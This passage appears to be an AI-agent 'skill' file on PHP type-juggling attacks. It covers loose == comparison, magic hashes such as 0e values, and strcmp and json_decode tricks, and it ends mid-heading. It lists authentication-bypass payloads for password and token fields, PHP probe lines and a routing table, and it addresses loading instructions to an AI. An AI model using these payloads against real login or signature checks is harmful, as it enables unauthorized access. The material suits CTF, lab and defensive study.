type-jugglinglisted

# SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass > **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply. ## 0. QUICK START **First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password. ### First-pass payloads (auth / token shape) ```text password[]=x password= 0 0e12345 240610708 QNKCDZO true [] {"password":true} admin%00 ``` ### Minimal PHP probes (local or `php -r` in lab) ```php <?php // Loose compare probes — run in target PHP major version if possible var_dump('0e123' == '0e999'); var_dump('123a' == 123); var_dump(md5('240610708') == md5('QNKCDZO')); ``` ### Routing hints | Clue | Next step | |---|---| | Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 | | `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes | | `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 | | `strcmp`、`json_decode(..., true)`、`intval` | Section 5 | --- ## 1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERS